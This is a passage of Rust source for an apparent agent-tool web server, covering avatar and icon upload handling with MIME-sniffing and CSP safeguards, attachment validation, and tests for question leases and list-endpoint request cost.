8252 id.push_str(&format!("%{b:02X}"));
8253 }
8254 }
8255 format!(
8256 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8257 persona_icon::fingerprint(p.icon.as_deref())
8258 )
8259}
8260
8261#[derive(Debug, Default, Deserialize)]
8262struct AvatarQuery {
8263 persona: Option<String>,
8264 builtin: Option<String>,
8266}
8267
8268const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8270
8271fn builtin_avatar(id: &str) -> Response {
8272 svg_avatar(persona_icon::builtin_svg(id))
8273}
8274
8275async fn operator_avatar() -> Response {
8276 svg_avatar(persona_icon::operator_svg())
8277}
8278
8279fn svg_avatar(svg: &'static str) -> Response {
8280 (
8281 [
8282 (header::CONTENT_TYPE, "image/svg+xml"),
8283 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8284 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8285 (header::CACHE_CONTROL, "no-cache"),
8286 ],
8287 svg,
8288 )
8289 .into_response()
8290}
8291
8292fn magi_icon_path(home: &FsPath) -> PathBuf {
8294 home.join("magi-icon.data")
8295}
8296
8297fn read_magi_icon(home: &FsPath) -> Option<String> {
8298 let path = magi_icon_path(home);
8299 let metadata = std::fs::metadata(&path).ok()?;
8300 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8301 return None;
8302 }
8303 let file = std::fs::File::open(path).ok()?;
8304 use std::io::Read;
8305 let mut text = String::new();
8306 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8307 .read_to_string(&mut text)
8308 .ok()?;
8309 if text.len() > persona_icon::ICON_MAX_BYTES {
8310 return None;
8311 }
8312 text.starts_with("data:").then_some(text)
8313}
8314
8315fn magi_icon_url(home: &FsPath) -> String {
8316 format!(
8317 "/avatars/magi?v={}",
8318 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8319 )
8320}
8321
8322async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8323 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8324}
8325
8326#[derive(Deserialize)]
8327struct MagiIconUpload {
8328 icon: String,
8329}
8330
8331fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8332 if !icon.starts_with("data:") {
8333 anyhow::bail!("upload a raster image");
8334 }
8335 let (mime, bytes) = persona_icon::load(icon)?;
8336 if sniffed_mime(&bytes) != Some(mime) {
8337 anyhow::bail!("image content does not match its type");
8338 }
8339 std::fs::create_dir_all(home)?;
8340 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8341 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8342 let result = (|| -> Result<()> {
8343 use std::io::Write;
8344 let mut file = std::fs::OpenOptions::new()
8345 .write(true)
8346 .create_new(true)
8347 .open(&temp)?;
8348 file.write_all(icon.as_bytes())?;
8349 file.sync_all()?;
8350 std::fs::rename(&temp, magi_icon_path(home))?;
8351 Ok(())
8352 })();
8353 let _ = std::fs::remove_file(temp);
8354 result?;
8355 Ok(())
8356}
8357
8358async fn magi_icon_put(
8359 State(ui): State<Arc<Ui>>,
8360 Json(upload): Json<MagiIconUpload>,
8361) -> ApiResult<Json<serde_json::Value>> {
8362 blocking(move || {
8363 if !upload.icon.starts_with("data:") {
8364 return Err(ApiError::bad_request("upload a raster image"));
8365 }
8366 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8367 if sniffed_mime(&bytes) != Some(mime) {
8368 return Err(ApiError::bad_request(
8369 "image content does not match its type",
8370 ));
8371 }
8372 save_magi_icon(&ui.home, &upload.icon)?;
8373 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8374 })
8375 .await
8376}
8377
8378async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8379 blocking(move || {
8380 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8381 Ok(()) => (),
8382 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8383 Err(e) => return Err(anyhow::Error::from(e).into()),
8384 }
8385 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8386 })
8387 .await
8388}
8389
8390async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8391 let icon = (q.builtin.is_none())
8392 .then(|| read_magi_icon(&ui.home))
8393 .flatten();
8394 let mut response = match icon
8395 .as_deref()
8396 .and_then(|icon| persona_icon::load(icon).ok())
8397 {
8398 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8399 attachment_response(mime, bytes)
8400 }
8401 _ => svg_avatar(persona_icon::magi_svg()),
8402 };
8403 response
8404 .headers_mut()
8405 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8406 response
8407}
8408
8409async fn talk_avatar(
8414 State(ui): State<Arc<Ui>>,
8415 Path(id): Path<String>,
8416 Query(q): Query<AvatarQuery>,
8417) -> ApiResult<Response> {
8418 blocking(move || {
8419 let id = resolve_talk(&ui.talks, &id)?;
8420 let talk = ui.talks.get(&id)?;
8421 let wanted = q
8422 .persona
8423 .as_deref()
8424 .map(str::trim)
8425 .filter(|p| !p.is_empty())
8426 .unwrap_or(&talk.persona)
8427 .to_owned();
8428 let specs = match Config::discover(&talk.repo, None) {
8429 Ok((cfg, _)) => cfg.talk.personas,
8430 Err(e) => {
8431 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8432 Vec::new()
8433 }
8434 };
8435 let Some(found) = persona::find(&specs, &wanted) else {
8436 return Ok(builtin_avatar(persona::DEFAULT_ID));
8437 };
8438 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8439 return Ok(builtin_avatar(&found.id));
8440 };
8441 match persona_icon::load(icon) {
8442 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8443 let mut res = attachment_response(mime, bytes);
8444 res.headers_mut().insert(
8445 header::CACHE_CONTROL,
8446 header::HeaderValue::from_static("no-cache"),
8447 );
8448 Ok(res)
8449 }
8450 Ok((mime, _)) => {
8451 tracing::warn!(
8452 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8453 found.id
8454 );
8455 Ok(builtin_avatar(&found.id))
8456 }
8457 Err(e) => {
8458 tracing::warn!(
8459 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8460 found.id
8461 );
8462 Ok(builtin_avatar(&found.id))
8463 }
8464 }
8465 })
8466 .await
8467}
8468
8469fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8480 if data.len() > ATTACHMENT_MAX_BYTES {
8481 return Err(ApiError::bad_request(format!(
8482 "attachment is {} bytes, over the {} MiB limit",
8483 data.len(),
8484 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8485 ))
8486 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8487 }
8488 if data.is_empty() {
8489 return Err(ApiError::bad_request("attachment is empty"));
8490 }
8491 let declared = declared_mime(headers)?;
8492 match sniffed_mime(data) {
8493 Some(sniffed) if sniffed == declared => Ok(declared),
8494 Some(sniffed) => Err(ApiError::bad_request(format!(
8495 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8496 ))),
8497 None => Err(ApiError::bad_request(
8498 "the file's bytes do not match any accepted image format",
8499 )),
8500 }
8501}
8502
8503fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8507 let raw = headers
8508 .get(header::CONTENT_TYPE)
8509 .and_then(|v| v.to_str().ok())
8510 .unwrap_or("")
8511 .split(';')
8512 .next()
8513 .unwrap_or("")
8514 .trim()
8515 .to_ascii_lowercase();
8516 ATTACHMENT_MIME_WHITELIST
8517 .iter()
8518 .find(|&&m| m == raw)
8519 .copied()
8520 .ok_or_else(|| {
8521 if raw == "image/svg+xml" {
8522 ApiError::bad_request(
8523 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8524 not just a picture",
8525 )
8526 } else if raw.is_empty() {
8527 ApiError::bad_request("Content-Type is required for an attachment upload")
8528 } else {
8529 ApiError::bad_request(format!(
8530 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8531 image/gif or image/webp"
8532 ))
8533 }
8534 })
8535}
8536
8537fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8540 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8541 Some("image/png")
8542 } else if data.starts_with(b"\xff\xd8\xff") {
8543 Some("image/jpeg")
8544 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8545 Some("image/gif")
8546 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8547 Some("image/webp")
8548 } else {
8549 None
8550 }
8551}
8552
8553fn filename_header(headers: &HeaderMap) -> String {
8559 headers
8560 .get(FILENAME_HEADER)
8561 .and_then(|v| v.to_str().ok())
8562 .map(str::trim)
8563 .filter(|s| !s.is_empty())
8564 .unwrap_or("attachment")
8565 .to_owned()
8566}
8567
8568fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8575 let content_type = ATTACHMENT_MIME_WHITELIST
8576 .iter()
8577 .find(|&&m| m == mime)
8578 .copied()
8579 .unwrap_or("application/octet-stream");
8580 (
8581 [
8582 (header::CONTENT_TYPE, content_type),
8583 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8584 ],
8585 body,
8586 )
8587 .into_response()
8588}
8589
8590async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8598 let repo = repo.to_path_buf();
8599 blocking(move || {
8600 let (cfg, _) = Config::discover(&repo, None)?;
8601 Ok(cfg)
8602 })
8603 .await
8604}
8605
8606fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8612 let mut hits = ids
8613 .into_iter()
8614 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8615 match (hits.next(), hits.next()) {
8616 (Some(one), None) => Ok(one),
8617 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8618 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8619 "`{prefix}` matches more than one {what}, including {a} and {b}"
8620 ))),
8621 }
8622}
8623
8624#[cfg(test)]
8625mod tests {
8626
8627 #[test]
8628 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8629 let dir = tempfile::tempdir().unwrap();
8630 let store = ask::Questions::at(dir.path().join("questions"));
8631 let mut q = Question::new(
8632 "task".to_owned(),
8633 "conduct".to_owned(),
8634 "conduct".to_owned(),
8635 "choose".to_owned(),
8636 String::new(),
8637 vec!["keep".to_owned()],
8638 );
8639 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8640 q.say("why?").unwrap();
8641 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8642 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8643 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8644 store.put(&mut q).unwrap();
8645 assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8646 assert_eq!(store.count_needs_owner(), 1);
8647 store.beat(&q.id, ask::WaiterKind::Deputy);
8648 assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
8649 assert_eq!(store.count_needs_owner(), 0);
8650 let mut stale = store.read_lease(&q.id).unwrap();
8651 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8652 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8653 let view = QuestionView::of(q.clone(), &store, true);
8654 assert!(view.deputy_exhausted);
8655 assert!(view.waiting_on_agent);
8656 assert_eq!(view.question.choices, ["keep"]);
8657 store.drop_lease(&q.id);
8658 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8659 assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
8660 }
8661
8662 #[test]
8663 fn holder_reads_the_lease_not_the_record() {
8664 let mut q = Question::new(
8665 "run".to_owned(),
8666 "implement".to_owned(),
8667 "impl-A".to_owned(),
8668 "which?".to_owned(),
8669 String::new(),
8670 Vec::new(),
8671 );
8672 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8673 q.cwd = Some("/tmp".to_owned());
8674 assert_eq!(holder_of(&q, None), Some("nobody"));
8675 let beat = |kind, ago: i64| ask::Lease {
8676 kind,
8677 pid: 1,
8678 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8679 .unwrap(),
8680 };
8681 let fresh = beat(ask::WaiterKind::Asker, 1);
8682 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8683 let daemon = beat(ask::WaiterKind::Daemon, 1);
8684 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8685 let stale = beat(ask::WaiterKind::Asker, 3600);
8686 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8687
8688 let mut c = Question::new(
8691 "task".to_owned(),
8692 crate::conduct::NODE.to_owned(),
8693 "conduct".to_owned(),
8694 "which?".to_owned(),
8695 String::new(),
8696 Vec::new(),
8697 );
8698 assert_eq!(holder_of(&c, None), Some("nobody"));
8699 c.cwd = Some("/tmp".to_owned());
8700 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8701 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8702 let deputy = beat(ask::WaiterKind::Deputy, 1);
8703 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8704 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8705
8706 let mut r = Question::new(
8708 String::new(),
8709 crate::bump::NOTICE_NODE.to_owned(),
8710 "release-watch".to_owned(),
8711 "stuck?".to_owned(),
8712 String::new(),
8713 vec!["hold".to_owned()],
8714 );
8715 assert_eq!(holder_of(&r, None), Some("nobody"));
8716 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8717 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8718 r.deputy = None;
8720 r.seat = "bump".to_owned();
8721 assert_eq!(holder_of(&r, None), None);
8722
8723 let mut m = Question::new(
8726 "run".to_owned(),
8727 crate::land::APPROVAL_NODE.to_owned(),
8728 "land".to_owned(),
8729 "merge?".to_owned(),
8730 String::new(),
8731 Vec::new(),
8732 );
8733 assert_eq!(holder_of(&m, None), Some("nobody"));
8734 assert_eq!(
8735 holder_of(&m, Some(&fresh)),
8736 Some("nobody"),
8737 "a lease with no deputy is not a listener"
8738 );
8739 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8740 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8741 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8742 assert_eq!(holder_of(&m, None), Some("nobody"));
8743 }
8744
8745 fn stub_config() -> Config {
8746 Config {
8749 agents: vec![crate::config::AgentSpec {
8750 id: "stub".to_owned(),
8751 kind: AgentKind::Command,
8752 model: None,
8753 command: vec!["true".to_owned()],
8754 extra_args: Vec::new(),
8755 env: Default::default(),
8756 prompt_delivery: None,
8757 }],
8758 ..Config::default()
8759 }
8760 }
8761
8762 fn plain_question(seat: &str) -> Question {
8763 Question::new(
8764 String::new(),
8765 "n".to_owned(),
8766 seat.to_owned(),
8767 "s".to_owned(),
8768 String::new(),
8769 Vec::new(),
8770 )
8771 }
8772
8773 #[test]
8774 fn deputies_enabled_follows_the_config() {
8775 let on = stub_config();
8776 assert!(crate::deputy::can_start(Some(&on), ""));
8777 assert!(crate::deputy::can_start(Some(&on), "stub"));
8778 let mut off = on.clone();
8779 off.daemon.max_deputies = 0;
8780 assert!(!crate::deputy::can_start(Some(&off), ""));
8781 let mut empty = on;
8782 empty.agents.clear();
8783 assert!(!crate::deputy::can_start(Some(&empty), ""));
8784 assert!(!crate::deputy::can_start(None, ""));
8785 }
8786
8787 #[test]
8788 fn question_views_load_the_config_once() {
8789 let dir = TempDir::new().unwrap();
8790 let store = ask::Questions::at(dir.path().to_path_buf());
8791 let mut with_deputy = plain_question("b");
8792 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8793 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8794
8795 let calls = std::cell::Cell::new(0usize);
8796 let views = question_views(qs.clone(), &store, || {
8797 calls.set(calls.get() + 1);
8798 Some(stub_config())
8799 });
8800 assert_eq!(calls.get(), 1);
8801 assert_eq!(views.len(), 3);
8802 for (v, q) in views.iter().zip(&qs) {
8803 assert_eq!(
8804 v.deputies_enabled,
8805 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8806 );
8807 }
8808
8809 let views = question_views(qs, &store, || None);
8810 assert!(views.iter().all(|v| !v.deputies_enabled));
8811
8812 let calls = std::cell::Cell::new(0usize);
8813 let views = question_views(Vec::new(), &store, || {
8814 calls.set(calls.get() + 1);
8815 None
8816 });
8817 assert!(views.is_empty());
8818 assert_eq!(calls.get(), 0);
8819 }
8820
8821 use pretty_assertions::assert_eq;
8822 use serde_json::Value;
8823 use tempfile::TempDir;
8824 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8825
8826 use super::*;
8827 use crate::config::Config;
8828 use crate::queue::Source;
8829
8830 const SETTLE_STEPS: usize = 3_000;
8841
8842 struct Fixture {
8848 home: TempDir,
8849 addr: SocketAddr,
8850 }
8851
8852 impl Fixture {
8853 async fn start() -> Self {
8854 Self::with_loop(launch_idle).await
8855 }
8856
8857 async fn with_loop(launch: Launch) -> Self {
8859 let home = TempDir::new().expect("temp home");
8860 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8861 Self { home, addr }
8862 }
8863
8864 async fn with_repo(repo: PathBuf) -> Self {
8868 let home = TempDir::new().expect("temp home");
8869 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8870 Self { home, addr }
8871 }
8872
8873 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8876 let home = TempDir::new().expect("temp home");
8877 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8878 Self { home, addr }
8879 }
8880
8881 async fn serve(
8882 home: &FsPath,
8883 repo: PathBuf,
8884 launch: Launch,
8885 machine: Option<PathBuf>,
8886 ) -> SocketAddr {
8887 let queue = Queue::at(home.join("queue"));
8888 let runs = home.join("runs");
8889 std::fs::create_dir_all(&runs).expect("runs dir");
8890 let worktrees = home.join("wt").join("magi");
8891 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8892 let ui = Ui::new(
8893 queue,
8894 Questions::at(home.join("questions")),
8895 Talks::at(home.join("talks")),
8896 runs,
8897 home.to_path_buf(),
8898 repo,
8899 )
8900 .with_worktrees_root(worktrees)
8901 .with_machine_config(machine)
8902 .with_launch(launch);
8903 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8904 .await
8905 .expect("bind loopback");
8906 let addr = listener.local_addr().expect("local addr");
8907 tokio::spawn(async move {
8908 let router = ui
8909 .router()
8910 .layer(axum::middleware::from_fn(request_cost::observe));
8911 let _ = axum::serve(listener, router).await;
8912 });
8913 addr
8914 }
8915
8916 fn queue(&self) -> Queue {
8917 Queue::at(self.home.path().join("queue"))
8918 }
8919
8920 fn questions(&self) -> Questions {
8921 Questions::at(self.home.path().join("questions"))
8922 }
8923
8924 fn talks(&self) -> Talks {
8925 Talks::at(self.home.path().join("talks"))
8926 }
8927
8928 fn runs(&self) -> PathBuf {
8929 self.home.path().join("runs")
8930 }
8931
8932 async fn get(&self, path: &str) -> Res {
8933 request(self.addr, "GET", path, None).await
8934 }
8935
8936 async fn head(&self, path: &str) -> Res {
8941 request(self.addr, "HEAD", path, None).await
8942 }
8943
8944 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8945 request(self.addr, "POST", path, body).await
8946 }
8947
8948 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8949 request_with(self.addr, "GET", path, None, extra).await
8950 }
8951
8952 async fn delete(&self, path: &str) -> Res {
8953 request(self.addr, "DELETE", path, None).await
8954 }
8955
8956 async fn put(&self, path: &str, body: &str) -> Res {
8957 request(self.addr, "PUT", path, Some(body)).await
8958 }
8959
8960 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8962 request_bytes(self.addr, path, headers, body).await
8963 }
8964 }
8965
8966 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8969 let tmp = TempDir::new().unwrap();
8970 let mut repos = Vec::new();
8971 for name in ["one", "two"] {
8972 let repo = tmp.path().join(name);
8973 let origin = tmp.path().join(format!("{name}.git"));
8974 std::fs::create_dir_all(&repo).unwrap();
8975 crate::git::git(&repo, &["init", "-b", "main"])
8976 .await
8977 .unwrap();
8978 std::fs::write(
8979 repo.join("magi.toml"),
8980 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8981 )
8982 .unwrap();
8983 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8984 crate::git::git(
8985 &repo,
8986 &[
8987 "-c",
8988 "user.name=fixture",
8989 "-c",
8990 "user.email=fixture@example.invalid",
8991 "commit",
8992 "-m",
8993 "fixture",
8994 ],
8995 )
8996 .await
8997 .unwrap();
8998 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8999 .await
9000 .unwrap();
9001 crate::git::git(
9002 &repo,
9003 &["remote", "add", "origin", origin.to_str().unwrap()],
9004 )
9005 .await
9006 .unwrap();
9007 crate::git::git(&repo, &["push", "origin", "main"])
9008 .await
9009 .unwrap();
9010 crate::git::git(
9011 &repo,
9012 &[
9013 "symbolic-ref",
9014 "refs/remotes/origin/HEAD",
9015 "refs/remotes/origin/main",
9016 ],
9017 )
9018 .await
9019 .unwrap();
9020 let (cfg, _) = Config::discover(&repo, None).unwrap();
9021 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9022 repos.push(repo);
9023 }
9024 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9025 (tmp, repos)
9026 }
9027
9028 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9029 let (tmp, repos) = performance_repositories().await;
9030 let machine = tmp.path().join("machine.toml");
9031 std::fs::write(&machine, "").unwrap();
9032 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9033 (tmp, repos, fx)
9034 }
9035
9036 fn seed_performance(
9037 fx: &Fixture,
9038 repos: &[PathBuf; 2],
9039 questions: usize,
9040 runs: usize,
9041 items: usize,
9042 ) {
9043 for i in fx.questions().list().len()..questions {
9045 let mut question = Question::new(
9046 "20261001-000000-0000".into(),
9047 "implement".into(),
9048 "impl-A".into(),
9049 format!("question {i}"),
9050 "context".into(),
9051 vec!["yes".into(), "no".into()],
9052 );
9053 question.id = format!("20261003-000000-{i:04x}");
9054 fx.questions().put(&mut question).unwrap();
9055 }
9056 for i in run_ids(&fx.runs()).len()..runs {
9057 write_run_repo(
9058 &fx.runs(),
9059 &format!("20261001-000000-{i:04x}"),
9060 RunStatus::Ready,
9061 repos[i % 2].to_str().unwrap(),
9062 );
9063 }
9064 for i in fx.talks().list().len()..items {
9065 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9066 let mut talk = fx.talks().get(&id).unwrap();
9067 talk.repo = repos[i % 2].clone();
9068 fx.talks().put(&mut talk).unwrap();
9069 let mut task = crate::queue::Task::new(
9070 format!("task {i}"),
9071 "instruction".into(),
9072 repos[i % 2].clone(),
9073 crate::queue::Source::Agent {
9074 run: id,
9075 node: crate::queue::CHAT_NODE.into(),
9076 },
9077 );
9078 task.id = format!("20261004-000000-{i:04x}");
9079 fx.queue().put(&mut task).unwrap();
9080 if i < crate::notices::CAP {
9082 Notices::at(fx.home.path().join("notifications"))
9083 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9084 .unwrap();
9085 }
9086 }
9087 assert_eq!(fx.questions().list().len(), questions);
9088 assert_eq!(run_ids(&fx.runs()).len(), runs);
9089 assert_eq!(fx.talks().list().len(), items);
9090 assert_eq!(fx.queue().list().len(), items);
9091 assert_eq!(
9092 Notices::at(fx.home.path().join("notifications"))
9093 .list()
9094 .len(),
9095 items.min(crate::notices::CAP)
9096 );
9097 }
9098
9099 fn request_counts(res: &Res) -> (usize, usize) {
9100 assert_eq!(res.status, 200, "{}", res.body);
9101 (
9102 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9103 res.header("x-test-git").unwrap().parse().unwrap(),
9104 )
9105 }
9106
9107 #[tokio::test]
9108 async fn list_request_cost_is_independent_of_record_count() {
9109 let (_tmp, repos, fx) = performance_fixture().await;
9110 let mut previous = None;
9111 for n in [4, 60] {
9112 seed_performance(&fx, &repos, n, n, n);
9113 let mut costs = Vec::new();
9114 for (path, discoveries) in [
9115 ("/api/questions", 1),
9116 ("/api/talks", 2),
9117 ("/api/health", 1),
9118 ("/api/stats", 1),
9119 ] {
9120 for repo in &repos {
9123 let cache = repo.join(".git/magi/config");
9124 if cache.exists() {
9125 std::fs::remove_dir_all(cache).unwrap();
9126 }
9127 }
9128 let cost = request_counts(&fx.get(path).await);
9129 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9130 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9131 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9132 costs.push(cost);
9133 }
9134 if let Some(previous) = previous {
9135 assert_eq!(costs, previous);
9136 }
9137 previous = Some(costs);
9138 }
9139 }
9143
9144 #[tokio::test]
9147 async fn list_handler_cost_without_transport() {
9148 let (_tmp, repos) = performance_repositories().await;
9149 let fx = Fixture {
9150 home: TempDir::new().unwrap(),
9151 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9152 };
9153 let ui = Arc::new(
9154 Ui::new(
9155 fx.queue(),
9156 fx.questions(),
9157 fx.talks(),
9158 fx.runs(),
9159 fx.home.path().to_path_buf(),
9160 repos[0].clone(),
9161 )
9162 .with_worktrees_root(fx.home.path().join("wt")),
9163 );
9164 let mut previous = None;
9165 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9166 seed_performance(&fx, &repos, n, runs, items);
9167 let mut costs = Vec::new();
9168 for endpoint in ["questions", "talks", "health", "stats"] {
9169 for repo in &repos {
9170 let cache = repo.join(".git/magi/config");
9171 if cache.exists() {
9172 std::fs::remove_dir_all(cache).unwrap();
9173 }
9174 }
9175 let (_, cost) = request_cost::measure(async {
9176 match endpoint {
9177 "questions" => {
9178 let _ = questions_list(State(ui.clone())).await.unwrap();
9179 }
9180 "talks" => {
9181 let _ = talks_list(
9182 State(ui.clone()),
9183 Query(ListQuery {
9184 limit: None,
9185 ids: None,
9186 }),
9187 )
9188 .await
9189 .unwrap();
9190 }
9191 "health" => {
9192 let _ = health(State(ui.clone())).await.unwrap();
9193 }
9194 _ => {
9195 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9196 .await
9197 .unwrap();
9198 }
9199 }
9200 })
9201 .await;
9202 eprintln!("{endpoint} handler N={n}: {cost:?}");
9203 assert_eq!(
9204 cost.0,
9205 if endpoint == "talks" { 2 } else { 1 },
9206 "{endpoint}"
9207 );
9208 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9209 costs.push(cost);
9210 }
9211 if let Some(previous) = previous {
9212 assert_eq!(costs, previous);
9213 }
9214 previous = Some(costs);
9215 }
9216 }
9217
9218 #[tokio::test]
9219 async fn list_request_cost_scopes_do_not_mix() {
9220 let (_tmp, repos, fx) = performance_fixture().await;
9221 seed_performance(&fx, &repos, 10, 0, 10);
9222 let (questions, talks, notices) = tokio::join!(
9223 fx.get("/api/questions"),
9224 fx.get("/api/talks"),
9225 fx.get("/api/notifications")
9226 );
9227 assert_eq!(request_counts(&questions).0, 1);
9228 assert_eq!(request_counts(&talks).0, 2);
9229 assert_eq!(request_counts(¬ices), (0, 0));
9230 }
9231
9232 #[tokio::test]
9233 async fn list_endpoints_large_home_ceiling() {
9234 let (_tmp, repos, fx) = performance_fixture().await;
9235 seed_performance(&fx, &repos, 200, 300, 400);
9236 let mut failures = Vec::new();
9237 for path in [
9240 "/",
9241 "/app.js",
9242 "/app.css",
9243 "/api/questions",
9244 "/api/runs?limit=300",
9245 "/api/queue",
9246 "/api/talks",
9247 "/api/notifications",
9248 "/api/health",
9249 "/api/stats",
9250 "/api/loop",
9251 "/api/settings",
9252 "/api/repos",
9253 ] {
9254 let start = std::time::Instant::now();
9255 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9256 let elapsed = start.elapsed();
9257 eprintln!("{path}: {elapsed:?}");
9258 match result {
9259 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9260 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9261 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9262 }
9263 }
9264 assert!(failures.is_empty(), "{}", failures.join("\n"));
9265 }
9266
9267 struct Res {
9268 status: u16,
9269 headers: String,
9270 head: String,
9275 body: String,
9276 bytes: Vec<u8>,
9280 }
9281
9282 impl Res {
9283 fn json(&self) -> Value {
9284 serde_json::from_str(&self.body)
9285 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9286 }
9287
9288 fn header(&self, name: &str) -> Option<&str> {
9290 self.head.lines().find_map(|line| {
9291 let (key, value) = line.split_once(':')?;
9292 key.trim()
9293 .eq_ignore_ascii_case(name)
9294 .then(|| value.trim_start().trim_end_matches('\r'))
9295 })
9296 }
9297 }
9298
9299 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
